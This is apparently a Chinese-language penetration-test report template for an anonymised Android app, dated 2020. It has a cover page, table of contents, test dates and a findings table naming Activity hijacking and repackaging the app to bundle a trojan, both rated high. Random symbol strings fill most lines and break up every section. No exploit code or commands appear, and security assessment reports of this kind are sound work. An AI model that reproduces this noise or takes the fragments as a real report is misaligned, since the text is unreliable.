0 `' ?0 L+ G+ M
6 ~7 r+ A% ^4 n: r 6 f: a* y _- Q# [* }
9 g2 J* f! [( G
4 q& a3 {/ m& J- E* t5 ~1 T: g
# ^0 k4 F& s: K, X
, M: V" V; p) s
) V7 }/ X" i2 O+ N7 u5 } w
' T, C0 [9 ~* T$ y$ R; w3 X5 F: u4 X4 E. |) D2 O
4 Z5 N7 A$ f& X) l
, m1 r4 E( L, _6 O0 ^' V2 c- x
文档编号:
* h( S) I1 w" U% @. j8 p4 h; ]+ l3 w% a/ z0 `6 t/ S
. r. _7 X4 b+ b, v3 j$ u
; g- z* \+ |3 l' H3 W . Y5 I1 W6 C( x" q: `3 \
! w) m/ n+ b2 _7 Y- o
7 O2 R' |' g+ d A
9 |- Z$ L+ l9 }& Q
% o& ]3 B1 x ], {: }' ?$ k+ b
& E, Z0 u/ b$ `. l% m/ c
& y. z) D% c; ?. x
+ M4 X1 ^: ]. S1 Y % P' @* `- L$ `6 R+ ~: C/ r0 G
; s& i A3 }: K! _# f; o
5 A6 O; _7 v5 G& Z _+ X1 i [( N
6 j2 ~3 k. I: B
5 _( K% P+ j0 R6 m& [
7 h% X( n3 C: t 9 T$ H. `/ B, D+ b2 A) s8 X3 C2 o
' i3 l' V% w0 @, f! ]
8 C5 J' [" Z9 v0 d2 X( ~5 o
- l* m b, U y) B7 u
" y5 I( P9 x R g: b8 w
" x/ o l1 `; |4 I8 h S* N& j 7 j; h8 X, A' D; {' A7 r4 W
* m! ?* q* q/ i
! t, x" t- k: G( R+ m9 s
/ [0 a: h9 z8 G2 }! T) q% e; K
% c; F( Q0 p+ z: x' q& ^ w1 n, ~$ ^
& H8 T* J( {" [# M) O9 c5 W! o
( n" Q2 } k$ ?$ Z2 M" i
3 B% E% @- l: }" a" y# h& p m+ X0 q
: h# E7 I5 |* {: y0 T. A
4 Q# \* Y9 ]) ]- D 某某某APP渗透测试 8 L b% v7 O$ p% `! n" E- M+ V
/ u, i$ D. Y$ q8 t8 [+ b1 ]4 f. V
+ @3 [% ]0 Y: L U4 P# L
# B3 E& B3 O) a1 W" D8 X
! b2 ]% Y6 C8 }. i
5 ~* m$ t# f1 x. F! o
& G5 U" D9 u9 H& h4 f1 K+ t9 r; E. n% q7 v5 g
/ {4 Z, ^ B- A/ ]" g& u a% y
8 B+ n; n8 m3 q$ U% {1 u. N% X
! ]. K& r" I: {) v) U4 g; \7 ?# R8 Q3 `2 ]$ W4 r0 ?( P8 L2 p
- d" b5 D) H6 Z1 s1 y/ [! U s- q& b! @
9 ^: J7 t# m0 Y
) n) g. o& J# Y9 d$ l % X6 ]1 j0 w: h8 Q
) O' t. ^2 x1 I& l' o' m8 O q& n : {; U' }# J, o( S6 q
- x2 i! `5 G5 x/ D6 X( o0 l) {0 ~+ R
0 d; `1 V5 o5 B) E0 v5 N$ ~. k. [( F
. K+ \* q- q# A" G
9 n {, `. ]6 l2 t
: G5 k- ~) v( f! m
6 q3 H9 \$ G5 w
% V6 `5 v+ m9 [9 j
: n: R) s8 Q' a! ~5 y+ n. S0 k
" x, \8 F% s' z8 G1 r1 |1 Y/ J+ | 0 w2 R; P1 n) o, l" A
4 \6 Q4 c, G9 F" Q; w4 p: |/ Z 技 术 报 告 $ l4 n# q p9 _, P
) a$ p. R8 F+ ]" Q8 K
/ I4 ~2 O+ P1 J0 w" m8 O: F" J
; ?: D% Y+ f6 B) ~6 d/ c1 Q8 O% u% ?
0 |1 T# {& A; s: k' i
) X- M6 U N9 m$ F% `5 E
; B X7 ?( d. R: R1 j( l. @! _+ j; e
# h5 E. V+ m ~6 W1 B7 n, k8 ?0 T/ Y
# |0 ~2 Y7 b9 B6 R u; R4 W* p: A# w" w, x
2 X7 a' z8 z; t2 w
; a# z! `- I/ f9 i0 L1 F1 M
. S9 z/ z% c# K6 h' ?
+ A; `+ T: C. U6 G
8 p; U/ O B2 Q% Q! w) B
- a% } ~ g8 x 6 H ]# t0 U' A2 G: h/ ]8 {
3 ]0 w3 X8 p6 \% w
. F+ @- m) Q5 `" `2 [5 p
; s! {6 L- t# \5 P% }
o. L7 b& M5 j
$ {+ e8 @/ v6 s1 N: j7 T
4 t- p# @7 i4 Z F* F" }# T
: ?, U. g) C* o) C: }4 H
9 f/ b* z+ ]3 f! r) L
" G- h& V+ ~/ h' r1 R
) _" m+ L! `+ G( t6 q+ U
# @4 }& g Z9 |' J& ~ $ t. W3 w6 C5 L+ E3 X
( l1 U8 x9 ~& i6 n 5 E: |" h6 e; s& z T
6 F7 F$ _3 P" }( L( b
, W' ~& P5 Q3 |+ E
+ B L2 N3 {8 c4 R $ P K. o6 s, Y5 T+ I# z
2 B& F$ ]: K$ [9 J. C/ f
8 Q+ P: r7 Y3 F1 D; F; C4 _" D4 o: |/ s2 q* j* [
& ^' x9 H3 E, Y
3 Q! g0 n- ?; O' a; R \$ ^& l" n
1 ~9 H! }/ K) p, \
% q# w' j1 b: \8 B- g& P : A+ n2 U/ e% A6 \1 C: T) ]7 H! G, b
7 ~5 b, ]. l9 a; N7 O( ]# p# k; }3 k
( D7 m% h+ s7 p# x, v1 S/ h. m t: Z A2 f
+ q& m) M% `+ e! Q$ c
/ ?( U$ k6 x+ i* f }# Y, }
, Z5 ~9 y5 `% R
9 b& ?! {/ @3 H/ J2 @* C0 ]
0 ]: P" G T/ `9 X* j8 }
& Y( t7 g( ?; E: |4 ]- \0 z. I
) c: \( x& k, Y) I) j- b6 \" j& V
3 ^) M8 j- q3 r! \6 |& o4 R& g: y3 ]. c9 v# E/ N
' O- H0 @/ `+ p
$ X, Q: p5 t7 u
9 a. s& ?- p. F* }1 |' E. p" u& w2 k% \ v9 r
3 |% a# L% A$ V, t/ q6 r7 n0 s/ {
* n- r$ ^$ o* t7 ~4 F7 J/ d
' c/ V) C. X3 k7 ~; N% j9 g
, d$ U1 j- i' s& q, {, U$ X h
( _1 _$ y( C# t6 }9 u- n0 G" f$ ]; b9 f' J3 e
. y" d$ j$ K! O- c
B7 b) t$ c- O1 Y( L
+ Q8 s5 ^1 u- q5 v. I1 @/ P* _; c+ U$ v8 X7 q: r4 V4 w& A
/ ~1 c$ w8 S$ u/ y+ q+ j, S7 t: r v; _( p
4 D8 K6 x0 \. J# i. z# j( u, ~
% ]+ W; H3 B+ k& ?. K% o: L
9 p+ C$ ?# u& V
( l& b: F" f/ p+ f% {' a& X$ L: B5 g% y) C9 L: U
" O4 H+ f; ~* K) K- N( O4 S: x0 v8 Y1 i7 A
/ [( X( k0 ~# Q/ A# J4 [' l% G8 m- @2 E* x, E4 ~$ [
3 j. _* @& R9 E i
9 r) `$ N0 O0 w* `2 S8 I6 u
b8 R- M7 d3 U3 y& i: i! q
7 y8 h" L9 a( ^3 h6 v
* l9 p) I; o' @# c) x& i U4 c, ^0 Y7 Q( t9 H6 Y' M1 `5 ^- U
0 }" T) a J8 x! o0 m! Z8 z# U C/ X# Y" m
4 ]3 a1 {' m0 |/ Z$ o9 N3 ?9 T* J
& m" m( x& ?3 L2 e, ^( R" }
. ^2 x$ b3 r9 D
- \2 D% J, l2 }( V* i8 y& G, C2 m
: y) \4 U& ~, M% k9 L) s, i) G# B. {% P1 @+ T3 X6 K
, o0 Y% K/ v) {, R" k
! k4 O7 m' p8 x
/ ^) R; a2 S1 Z. O2 x5 w! I: D
* ], B4 O5 |5 i+ q. e) _
+ V1 L3 Y. U3 J( A7 h
+ \' `7 v5 h& _% J5 U- }% u
$ ?+ [6 I# S% `+ s" Z! c1 m
8 t0 F' _9 F" l+ M' T% G1 e: r8 p( F( H% r
6 x' [& i6 X. H' J
/ b5 k+ y% @( ~ . p, \ @3 {* M: w9 ?' a8 g
8 N0 y$ ]! ~$ D
/ }# y) d* I! C1 C6 f6 y
9 u) _0 x5 R: X+ \2 Q
; w. X4 Q( D- y" |3 O# A
t5 ?- B9 Q7 | M0 ~, E 二〇二〇年 3 e2 m2 P% m; x8 ~$ c" K* q( N
( k: D, l6 U' ?5 \, ]3 h% }1 O" b/ B3 Q4 X
; j& K @. k! k, Y* m
( t5 N3 P4 M1 V- |5 K * S' b' E, B1 s# k0 v
+ y" b! {& U2 G" H1 c
( j _! g( L7 X' g v, P
; {& Z2 Q& M3 ]: ?, B
( x* i, f" I* b7 |; k
2 l* k6 y+ e A
! d) ~% {1 e9 K; W
# l( t$ l( C9 N; H0 w, r: U% i: ^
5 r$ o6 I$ u( m0 O- w6 z% u5 N3 n3 Y- M0 V: ]* b6 ]0 g* q
% I$ k3 N# Q y" |& d
: V5 A- B; t0 H I5 E2 R& Q
* s( t6 C2 _) K1 \7 o
( E( ^5 Y0 v- R5 w
2 m! k1 R3 ]2 z+ a6 I
. i& b% ?2 b0 j2 M$ G/ V
' Q9 j6 T; x7 T+ \4 d8 [1 @$ m$ w& S, q p
目 录
" E+ S: I- s; z2 k! P8 S8 k3 s% g2 z) Q" @# L
$ W$ v$ t+ I/ p% h8 H. E' w
' y" @+ m1 {' ?9 |, ~
% s' I2 S/ c; Y% L" ^6 v
! q3 |1 G# o Y2 s. {, w* U2 p2 I ! M( j7 F+ r. F2 w+ @, f
7 [6 ?1 T- U- { ( ~: n+ c4 L m, @+ X5 G" \" w
9 D, M" n- @9 w
$ }9 f" S, J2 n* v b
$ u7 C. Y: \" { z+ b 4 c' a j! t, `2 O# G% n$ C8 |' e
7 ]8 M' S0 D j$ \6 Y 1 概述... 3
8 x; L3 S! A8 i _% g
, @. k2 U* t: S& T3 c
0 d, B6 R$ n ^- w+ k3 r" L
8 S& K4 f1 D3 ?0 P/ h4 ^. x 5 Z/ D4 s m6 @, {+ d" I
! t4 U2 p: O- J6 A+ Y7 L! x
1.2测试时间... 3
; U" L) G" J$ t: E! b" o, j( _5 r1 Q
4 {* |, Q8 i# m! i$ ~0 ]
8 b5 D! t) x6 j
1 ~ \, T: S! b/ A
* A5 c8 C3 O% \0 L, u 1.3测试对象... 3
" f7 n& I( a! j* w5 b% }7 v) c8 e" ~6 w) C$ k1 ~1 {6 B7 C
) P" v; k# w Y8 \0 g6 I! x- ^) [! c/ Y5 y' b! o0 Y% S1 S
0 M; Y( n" q8 Q* Y/ p1 m* c* @0 z0 C: E9 o' f7 k5 t; a/ W+ _! r, ~
1.4测试结果... 3 3 Z, w# g" I' T8 o* t, i
' S t5 r+ H0 I: _5 I7 o/ y% l* k5 p
0 _5 C: r& p- j1 c0 z
0 ~( H- K" x% O- ]' d* e
6 R! R k9 Y6 o4 }! j4 Y8 O, Z1 d1 ] L3 l
2 检测结果... 4 8 O+ [ |" g3 H( w& L* I+ } G: x
* v+ U$ e1 |) b1 @& O7 Y4 S
9 g+ u" \7 ^( A* @6 E
! x5 c: p! D* N; M% B . y8 @$ T* [1 t) y0 r8 q
; j' }" c; o2 g9 Q( }: q) I
2.1 某某某... 4
M4 l) @: ~- J* E5 f2 c2 G H& y. v! A
: p) f1 @9 H8 ? E8 _8 q
. Q) O: a$ t; `- u# F* z. y
" E0 J3 @- |2 s) g" V# p& [" R
# G( }, b$ S8 D6 o' z* Q" D 2.1.1检测目标... 4
, l" B# x8 C4 w3 A: ^/ ]: o: r# b) K8 D& D2 a
2 @+ i/ g8 a+ |) v* a) r
, j8 S: u4 R/ Y2 r " {$ Y1 f& w6 v0 A- P, M+ `7 @! f
+ P7 p1 _0 \7 h+ M 2.1.2检测结果... 4
, g/ C& h7 g! e; ]
( a0 m; I6 r0 {7 b* }. _' E0 ?0 d
1 `* T. J, x3 X& E
' ~3 U2 L. S1 S. z6 }) a
& K! O. R1 c3 Z( f" f
: Z( f7 A s' v9 j6 y 2.1.2.1. 4 & M3 W7 v7 h! ^( L# j' e
) d% V6 b# U# d* y, W0 \* a& V
3 O4 W( M1 Y; o6 b9 S
|% A& W0 t( d0 W# Q- M; J* a
/ C! |: `: j/ E
' w" W* a8 `! {! i( x$ ^! E. l1 E ~8 O 2.1.2.2. 6
8 a& U) L* ]6 H% G- o0 Y8 H3 d; v) J( e# d r, J; Q
3 Z, Q$ u5 L5 m1 h0 r( U9 |
( m4 \) [, L2 h 7 N( w' `8 D1 }) f3 B$ }/ ~+ u; o) M
* m2 s% }0 O! i0 ^9 [ O) b, U
" A+ y: K3 S" R+ p, Q; ^( i
+ j: }( F- ^5 L- W6 Q+ z
8 [8 L: q" n) t% t, n$ G
1 y6 n0 M) _: J3 D8 Q% l
& f0 y& e& r& I0 w) R3 u4 U/ Z X$ o8 @" t% L7 D
: L. i' ~2 U s- m* B
" M' X7 n7 r# J8 ]9 q$ `2 K
$ I, g {- M N" u E7 z. P9 {4 A4 E( I
$ i8 V& [5 V) D6 q* h
. Q8 h, j7 @, T4 n# ~$ A ' w& K% n6 X. _- F( }, A
" D5 j% k& t* ^3 P 1 概述 7 G w9 |% Z+ K% Q+ @- o
, Z% O& q0 R' |$ q
3 c/ M, V* O4 i. }5 I( @
- A* y" b/ i+ y$ [# w$ j
+ I; o& _( O/ @% C8 C* u5 ?) R3 R# V; f( T }: p
1.2测试时间 : t& ^0 N# y, {) u, r7 q( G
: n5 l1 ]+ @$ e
7 X- ?, J. ~, I3 X9 M8 q$ t7 D3 i! Z
( l3 N) h5 r( N
8 i0 Q& E; @- [' a, r$ J 6 I* x" s2 ?4 o) C/ k g8 U
* s# p3 O: H% \4 }. }! B & M* R* X. O8 @2 u2 c, X; |
5 l: n7 T- p; a# _2 H
| 1 {" l: I. W4 K- l, m3 j
! P3 B; }- ~# P! i: Z
. K1 ] P9 J5 {5 \' I0 m( Z" T/ T) J6 R% g# x# x; [' k
渗透测试时间 8 @5 l; E8 S: f+ I0 P1 S% @" w @
( X/ @1 B4 F# S . [; R3 A! v$ e8 Y* e) R) _/ p
, K( l- i) x! H | ; |% d$ \+ e2 g' i E5 |
( |2 U. M0 }: H: P9 j/ D; {
& f( o2 X4 w T( O9 i ]
; M) u; I ~8 k6 ^
* p9 p; ~- k( z) J. _ j( z) c3 }( G, `
|
% s9 j3 M5 d: G9 H- C: }; j
: R: C D# q3 b) ^ & e* ^# n d7 p0 U1 z
5 P# H) {6 T+ @& ^: f: z! X
起始时间
, V' T& b9 @4 B! J. q' J2 v3 a
* L1 i6 a1 ]/ v! Y 9 e9 h* X7 T9 g7 `8 H1 \! A! `- h
7 f7 w* N9 E/ A/ K. ~' E
| O2 P0 q+ y- v6 I, B. e& u, P
* l8 e6 j S1 f& H& k 7 V& d L' ^' Z1 q" `
5 [+ A' l; h+ \( i+ X; i
+ |! y2 z5 I" d6 g$ S& i
9 s: ]+ l: ^: G8 x- H 2020年4月6日 # G, N3 c3 t' V3 o0 Z) }) n
3 B* }' @2 j/ B3 [' @
7 Y1 b- T7 B5 P4 U
+ C9 R! u6 s7 X8 m+ u4 ?2 _ |
! U: N% i$ X+ g0 t7 h* p1 G+ i0 P4 _2 X
" p* d4 ]" p6 a1 Y0 W0 o% `& V( x4 g. F/ V3 C
/ z F+ N3 \$ y: A
% u6 A# z: D' m/ x$ L( \
|
1 ?0 Z0 ?' c7 ?4 b* m, d
$ H a& r( X! |: G) ?3 W8 z2 g4 \
5 W! Z8 n4 P3 U% z( W- T/ L6 F& s- M3 F) K2 R
结束时间 3 E& b- }/ v/ u! q" J4 t
! S, ~+ B8 A4 n# s7 E, m0 T! S5 r
) B& N; q& G- ~* o0 w5 ]8 a* o4 P U4 I3 c8 L) h- y# v% `4 d& B. l0 Q. b
| $ N6 r- p: s9 \8 l g
( r' k9 R4 O, |' h6 d N( U1 r, ^ ; v$ n8 L4 Z$ k
2 b+ x1 d0 B- h# O, N( ^
7 ]8 J& t9 V$ [$ I" \6 f6 J
. o" o8 v" ^' C3 U: u
2020年4月9日
z) Y2 o& Y! x0 h
; ]1 o: s- L4 M* ^# p- D6 S+ R8 s . i& c! ~3 L2 \. n0 _
' G I/ s5 q" r1 i6 G0 P |
6 b* R7 e+ w; W
: g5 q. I4 L$ U) A
) H/ {! l7 O- x& K
$ w7 ^5 h! I \
; J$ B. q2 }6 L5 }: d# L
* Y: d3 S1 ~- k" s# [
$ X1 h ]' N+ ]6 K* u9 ^
, Z& s$ R' e. d3 P- Y9 H! ^6 J
! O5 ?3 @) D! o; }5 g" Z3 h" `
/ d( X; |1 ^6 V; _1 l 1.3测试对象
8 n& |+ O- `6 w' G8 k
. k7 R, ]4 ^( G/ I( D: m
% G& H) u9 Z& {* j7 ]
5 Y: e- ~% S7 k3 }' ~/ K A C
0 D( P6 p- q: U' V. z n. x* f& k9 B) I
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 3 g2 j0 o8 V3 {0 z
- R: q! V1 H. q e4 ]# f
/ R/ N) X* f) n$ i0 M) w- O
! z5 Y0 C c8 k$ c% s: {
% }! m& }* ]; Q; B; @8 y
1 q) i, c4 T# L6 _( J
表1-1 检测对象 5 e- ~- `7 n1 I4 C' s* y
7 a) f) g6 l" {/ {& p& | m
) m+ F- a8 l; k+ h4 l3 ] E
$ }% i& Z; F7 K9 U3 T; v) A
( i u6 y7 C" q, R. l- v2 B7 C- b8 t7 z9 B* B6 e, G& Z3 z: ~& f
6 r, ^( T2 s L0 F% \6 t) a' I$ p4 T( @& J7 w
/ a5 |+ l: v+ h3 R
1 l! r5 d. X$ p! W% R4 |$ J& ^ | 1 v" Z& T+ i( ~" k2 K( m. w* X4 V( g7 x
& _9 O6 ~1 d5 ~% \8 s/ x
! }- B4 {! @. P: c8 q& F
1 S9 X1 o" b/ e, @ 序号
0 u$ v' Y0 B1 J! {1 k6 q+ }. ]6 X3 M8 F
& t0 s4 `5 }3 U; r8 K
, h8 c% j0 O5 |- i
| 6 F/ b, T' e& R
i, `7 G6 j9 o6 P7 Z0 x6 f + ~+ L) {& C& M- y9 ^ o# U6 q
( r* D( ]' w; c4 B& p3 Y9 C) R7 Y
* z! B" B8 f% @9 u0 p% Z- b8 C2 K+ `( Q* n- V7 i5 q- H
测试对象 * b, t4 K2 I, {# K1 {, Q
8 m( r& [* j# x
' Y- ]3 ]# o; u T: m1 E
$ e1 t9 b3 z9 u* m: n, N: t% ? q | % j% G$ Z, G0 E: k, v, X R
% r! _& ?7 _& Q3 f2 F1 S* e
/ W1 s# Z$ P/ u. m
9 P: g7 b6 m3 e* Z
& E* d4 _5 | Z9 o ^! v G: O N; m" w
测试地址 5 D I* ~9 {8 S+ {
) M0 Q) \: d! _! E3 v; \' g& S# z ( a% n. F- T! ]$ H- d: E" q
0 h6 K% u9 z1 ]$ t6 b | : {1 K. g l/ L/ C5 B8 K
+ F+ V- l4 n. |# ^3 F) u- k
, c3 R' u( H" b. [
/ o' } M1 E8 b7 _4 ?
5 u9 H/ c d+ l0 h" h O
. G9 [0 [6 v( [% N7 \/ m0 i 安全漏洞 4 ?. q6 F } w1 o2 U
- B/ U4 P5 E" w! `) F* ]
5 A( R3 {" n" e% Y
* b3 A2 U+ ?+ A }3 o. E
|
7 b9 n$ }2 p- I7 q- j, m) Y
$ `- h7 z8 W: C4 N- F
0 j7 N& X& }/ |# l1 B& W! H
- | T3 S( t3 v2 w9 o
; U: ], C6 {* q
5 @2 f, y; i! L9 G q |
2 |3 R: S3 ?3 v/ @
- p0 l& Z7 x6 H. @0 [7 B + Y3 R/ N9 K8 u) Y; X+ p
% t8 P3 Q# c/ G l$ d- l
1 ! z9 L7 f( k2 z# g3 S& J) r+ ~
9 v* n$ ]0 {8 g! ?2 _+ ^ 6 V. M& O- W" E. }- m8 F
) _: X0 @/ \5 q2 h; M
| 9 n# N; K9 T! v
" E% D' v# Q+ k' y( z! c+ l
- {3 ?) d+ X8 P4 z4 }
1 W8 z4 ~' [. W, N, u' V2 V
+ O# A/ j2 ~4 L. x; q; C. j# y/ W' S2 F: n6 ? [7 l
某某某安卓APP c3 `) e+ p) s4 L x6 ~( d
m' ?' W; P) F" B6 d( ]" d9 ~- T8 C
k6 [& _& T# g, B
9 W1 b7 t; }# Q( \( w R6 p
| % G3 n/ ?; ?$ j
" I- A- Y E# P% b& Y5 v
5 o. Z4 E. T4 ^' U$ D+ R
" ?; e8 t1 e {7 w ! n. N9 N2 b3 C; A8 y' p
8 r" t' z8 X" a: \% L2 S# D
9 k4 d, R1 M R# }6 ?
`0 h: d7 F! x- o/ S+ p
& o) W3 V$ a/ Y, s5 x* x3 V, z8 U
|
& A- @2 z6 k& ? a# m9 F: V- E* i R/ X) c
* T6 F0 T% B0 S/ b' O
; l9 z* a9 R8 s5 q, ? / ]9 {: o/ `% J; V/ `7 h
3 @2 Q4 f y% \) S$ D5 ~ 2
: S) [- Y4 Y! U E0 `1 w5 W3 `+ L" o. |/ f. G
; w" U: b4 c7 ]
. p1 q, X. p4 N- ?7 _7 } | : s4 a. n, `+ t& m3 ]8 Q
% P1 b+ \ }1 M! V
6 `0 r1 E4 \+ ?% o& U$ P: T. |/ ]% N
* g; h$ H: s: R
6 p0 m6 k. X: i' ^! f: @9 [" ~
, g- O/ p: Y2 Q9 n2 [9 {
4 T: E$ }; G0 [" ]: n) N & R5 H- K: D& ?2 }" Z B
; {) l8 |( F: ^* u; y
1.4测试结果
5 S" u$ b- y3 C K: U# [5 R: o7 t- @5 X
6 O- y$ Q& ^# ? T( M
3 H0 F# m- H6 y3 L8 I
0 x4 I. L1 Z$ ^! `$ R& ]0 e2 M
) Q8 e6 _7 n( \2 T; J( { 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: : A; n8 M# J. @# H+ o
6 j5 _) P1 s' I2 w! {+ A
1 N2 {- L: r7 o* g4 F; Q
. ]# n9 U0 y" ]/ Z: i
& y" G, j5 M0 p+ A t2 G, s* z, q. C* A. k$ e
2 F, T0 A% t% b8 A2 s( `! G
3 [" Z6 p2 _6 d. @% \
8 m) X3 G" K2 C/ b2 t
0 n/ }; \9 F6 B1 b- [+ L3 |
0 s$ P( x* V: D4 {+ @
+ L3 {" T! j/ w! U, @ p/ `
% Z+ l+ ]# Z3 B) i
# Y0 n, p8 H9 d9 `# n f
/ ?; I0 U* @- I8 q9 E* J3 w2 ?( j/ M9 Z: [& Z* R
# T) R% Y% K Q* ]' Q+ _) K4 B( `
5 c1 [. `' G- W | 0 g8 t7 ?2 l$ l0 Q+ t" Y6 x
( K; G* o6 I# l, J. m- E+ Y3 ]
: q4 @+ l! Z- _# k
# e% K1 l; e. k& B# W" ^ 序号
1 e, A8 P. f$ ~4 D$ ^, e3 f, I V7 x
( p* w7 \( z% ?0 X0 a1 O( m
+ I" j$ G7 S. O, t" j0 s | ; e4 t- z- O' o- U, \ o8 H' b* l
0 @/ D; F3 _2 B* d T% S; G 4 g5 ]% K2 h, F) j+ K; c
% A% K! r+ Y" \& {" \0 v
6 @* c9 F8 B( f1 r' l: y6 w3 d2 w. s
# G- t2 n- [( L c6 q L5 i5 G 系统名称
) r; |# o1 I: H( [% P+ h1 ^* ~7 D
' C! a. Q' ^1 m) W: K) u2 S. r- M 4 _) k' y# T) e2 D- q$ x; L4 S5 W$ c
6 A8 y! w# N* Q1 Z |
& ]- E3 j; {2 u0 M' @% U$ C+ f2 J
. N% m1 E: N3 L# g7 u
6 X' a s; v# V, c& @) H& K: }! S1 R
" `5 q- T3 ~2 H T3 l% b
- l p7 n; X/ S 漏洞名称
! q3 I: p# E4 k& i& ?! V0 l0 @# x$ P, i* H
. v+ L4 w3 ^% d: X
* [6 c$ e3 l g" F. |! z
|
: S: `6 @, Q9 v! A8 H2 s
1 T5 G* d Y7 W |6 \% ]4 X
+ C) `1 k9 X4 U% Y8 _
* `* k' B3 A; D+ P0 E3 l
; a, H* S5 K7 O; e, o: a" o% I; X0 i- m6 z
漏洞危害
, d" Y4 }! ?9 ]* b
J$ k2 w9 \3 b/ x $ Y7 n) C( m+ h
- h8 Y7 f: U) b% |
|
! `: ], S1 U) R1 N0 k# I, R' W- G# R$ v3 W, C# \ e* d% Y# r
) ~! b# Y: R6 I
+ @& C' @2 C& C7 a
- F) P4 a- k" c$ T
& _( l& X O+ g# f2 T 修复结果 ' D& Y0 j' s( G8 M2 i) s# q
. Y0 _: Z) d3 u# t _
) j. Q. g M8 l/ n: P
* i% w4 S/ m8 h/ G8 n" D( { | $ O, i5 D% o! W' ~# v) |. e( `
; h e9 H. H5 n" U4 B( i9 c- `& R
" K9 r F: e. y
# w. v9 Z$ z2 ~4 j) } % z4 z2 w' \/ a6 G
0 j$ y+ R! B3 [/ H/ ~4 E$ ]4 w
| & K+ Q9 [; Y- e) V* y2 t
7 l5 r" A. k9 [! e# C+ B
) D2 L* t. t7 d- M5 z1 t3 F9 {
8 i* L, {; _0 D4 p k( e$ z& m# \8 o 1 8 F l* ?& K& y* A [& z- p; a4 X
7 W2 S/ }& U/ c Q/ H2 M
) W; H% }4 Z, }! X* a& D1 c8 K
l8 V5 b8 }6 ~; u$ d. D3 K6 j. W | ) Y3 z" K: z+ [9 m
/ }4 j' e/ z( h 1 e3 n- G. v$ i& H- ?
# @" V/ G% n( T- @8 P9 R, I
7 e8 n9 g- i# z" ^& ]4 R
' l9 a6 T7 [' j
某某某某某某APP Z& j" d9 h( D9 `
9 w0 ], I1 l8 u6 @ 0 W# W/ F+ |- ~
7 L6 }+ \, X- @ ^: r) [& F7 a# ?9 U |
0 y' ]# m5 Z2 ~- M& P0 O) c
. M' g* t3 R, j. d' L/ n# g1 U9 j
% d$ t5 `) N* p. @) z6 j% ?) R- P b& a. W' Y
+ t) n9 D" }, `9 o# l. K; r
8 }/ U* `2 D8 M' X7 H$ |' E
Activity 劫持 / D' L* i/ M5 e- k+ }* l" ]6 T
" E& ? {; @$ b% D; F d
* T" w( A' q* d% }4 w* W9 x) r
) `$ l; q4 F, N7 K0 K 8 Y& r, [: y6 @
4 [/ y8 Z% X( R7 Z4 R" }! z
7 x9 B9 E: C$ e# j1 t. S/ a/ w- @# }/ A4 p3 X9 P# D+ u
8 U* N" y; b* h4 M
3 N% _0 K8 Y6 a- m u7 p" E0 Z |
$ j; G3 G S8 W5 ^) @& o0 H& X8 f' C1 R; P% U
2 A1 d/ @) `/ E' u6 a( t6 Z7 a! }4 L
* [4 c- w& q: `. c2 ]7 D
% y9 J& X2 Q7 Q% d( D 高 , l! G& u- c7 S! i3 N5 b9 Q# J9 _
) Z! K) U0 M2 r+ r( n 4 l7 `; ^# V( }3 P( a+ \" U9 ]
! \* R' d/ @" O; J/ l
|
. P9 a+ o- ~. T, n- d* @2 ]) D7 T
$ c: @8 t4 D5 H
% m3 ?, b) ^* x& P0 ^4 t; B2 s7 N$ ^
: g- t6 b6 X8 U) a
2 G# C7 }7 a0 u# F: o+ W
# @. J, S$ H; B& B, z+ U5 k# ~
' X2 E) ]$ z: [* e* H) v3 m 9 G& u# _9 H5 C& l, w# I Q
8 ^4 ~8 o' h5 X- `! W; @, c. x
|
5 r3 y# S1 d& M
8 F2 B& Q% @9 [$ Z4 i
0 ?; K) {5 }- V$ H; K+ h
& ^. o5 M2 [- l7 ~" |1 a5 Z3 k5 {7 D 9 }* |% k7 d$ t5 ?" `
! a4 r9 p* y$ s& Q0 Y |
$ Y1 M! F& t5 i' w" r( t9 t4 o1 d1 Y% T
5 ? Z8 [2 |) l1 U% w7 D" ^# z% N' m$ s9 z
2 7 O2 k) P: U8 e2 A- j" Q" z0 z
7 i# k; q+ z; g
6 M4 _* Z- d" A
* x G% _2 t4 L/ v5 w/ N |
5 `6 x% t- @3 S* S2 m* ?( j$ \& K& e7 ?' D. @! G8 }3 j3 a
+ E' O6 \8 m) n6 B; y' X
1 z5 ?' A" ~6 _0 W 1 \# G- l2 V t' \( \* Q; O
7 T5 f7 w% D2 I& g
某某某某某某APP
; E7 x0 E8 W' z3 C( C( P G3 o5 u6 D i# l
' m1 u3 t4 n; X
7 E3 s* C, s* i9 ?! R( B# z
| ' V+ R5 Q! [2 N! s' I1 |3 q2 \
" ^: k3 [* _' n! t9 x1 X
/ N8 D6 j3 p6 a! g# T. f
8 o3 j- B8 z: Q/ z; q
$ L) Q- |6 H- U8 p, D
: q" H4 {- l% X- U' K. s4 E" X* ?+ S 反编译二次打包捆绑木马、篡改APP代码
' v5 m6 q9 i8 {
. y% R( G8 U; }. w( H
2 f2 k$ p# N& z7 O
- z$ h) n! }4 L6 B! G7 | | ( o. L( I9 y" b
2 p9 v. c/ |* V4 i
7 o" v& X5 p X& [& x _
; i' N3 v& l K; q ' h* m0 }0 ^1 m+ H. y+ B
9 M" L7 \3 u4 o c l% h! _; S
高 3 M; y* q+ Y0 k( g: I
$ E/ _' }, L% F6 r ' `3 }3 C8 r6 w0 x7 {
: E* n3 i# ]$ s; w) c1 J5 } |
( U& u* Q) v, w1 Q$ _8 T0 E
+ J0 {/ e2 o i) o. G 5 c- V" f' \+ I a
( N% u/ F% K/ y9 r5 @7 e6 i , b O$ o1 Q) {1 u2 V" _$ a* y' b
" n q1 @, Z" ?* @0 a& |* _) c3 ]
; ^6 D9 x" ? C0 H9 e9 a2 o
N, Z8 s* q0 s( F' B% E
; n, g( t" u6 S, g% y
+ n* I1 P* } o o* u# ^+ E | ) M' e- v) w% [8 |, S
4 Z& ]& z! B7 T" Y4 u1 H2 V2 ?
8 J2 C5 E" _; y* k! n/ }4 E! F8 Y: o6 c
! ]" b4 D! v" q' W$ a6 J- t, U
5 H6 s# j/ W/ Y6 p p& P- d
4 }# g$ ~( Y; _3 ~; W: Z1 y, M
9 n( Q6 G- j" t) A. S 7 f. v0 y+ s U2 ?7 v+ R
, b m8 p v- x, b. p# K- F% f " s* k7 p9 ~+ h2 u9 O5 W
$ w' Y' F, l5 v
+ b0 D, C& ]( t4 l7 {) Q
1 }& @8 F1 E9 S
( ]: r/ s+ {4 H7 y( @4 r
3 v; C% \$ G& r$ V0 n5 ` % R9 X; ~$ {2 r, M
. V% d V; \% \* {5 w: z( O8 L 表1-2 测试结果
